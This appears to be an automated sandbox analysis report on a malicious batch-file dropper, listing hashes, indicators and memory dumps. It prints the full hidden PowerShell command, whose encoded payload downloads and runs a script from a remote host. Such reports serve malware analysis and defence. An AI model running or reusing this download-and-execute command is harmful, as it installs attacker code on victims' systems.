9ade7d41fe1eb846c653498e8b2bc5bc222c99576fc01c73ccbe50e7b5837bdf

Analysis

max time kernel
48s
max time network
52s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
20-09-2022 00:57

Target

rep/maximum.bat
Size

1KB
MD5

043e83dab2314bca1b5babc8a9a4c352
SHA1

e2e078f9f5b73e19449f0c0ebac37a78735515ba
SHA256

dbf173cc9b164e6ac9983e5b0a9544f2fddfc5aa26828659f7ee78bb991551e2
SHA512

f480f5a9f345e287a5c6a2aa0e0045f528466bd00f80820ecc04ac795c2c0bb9622128ca6f0dc010c36a94772b156fb62a3208eb7a64f332482f0a55246ab5e3

Score

10^/10

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://meeronixt.com/gate

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1932	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1376 wrote to memory of 1932	1376	cmd.exe	27
PID 1376 wrote to memory of 1932	1376	cmd.exe	27
PID 1376 wrote to memory of 1932	1376	cmd.exe	27

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\rep\maximum.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -nop -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgBvAG4AaQB4AHQALgBjAG8AbQAvAGcAYQB0AGUAIgApAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1932

memory/1932-55-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmp

Filesize
8KB

Download
memory/1932-56-0x000007FEF41A0000-0x000007FEF4BC3000-memory.dmp

Filesize
10.1MB

Download
memory/1932-58-0x0000000002604000-0x0000000002607000-memory.dmp

Filesize
12KB

Download
memory/1932-57-0x000007FEF3640000-0x000007FEF419D000-memory.dmp

Filesize
11.4MB

Download
memory/1932-59-0x000000001B810000-0x000000001BB0F000-memory.dmp

Filesize
3.0MB

Download
memory/1932-60-0x000000000260B000-0x000000000262A000-memory.dmp

Filesize
124KB

Download
memory/1932-61-0x0000000002604000-0x0000000002607000-memory.dmp

Filesize
12KB

Download
memory/1932-62-0x000000000260B000-0x000000000262A000-memory.dmp

Filesize
124KB

Download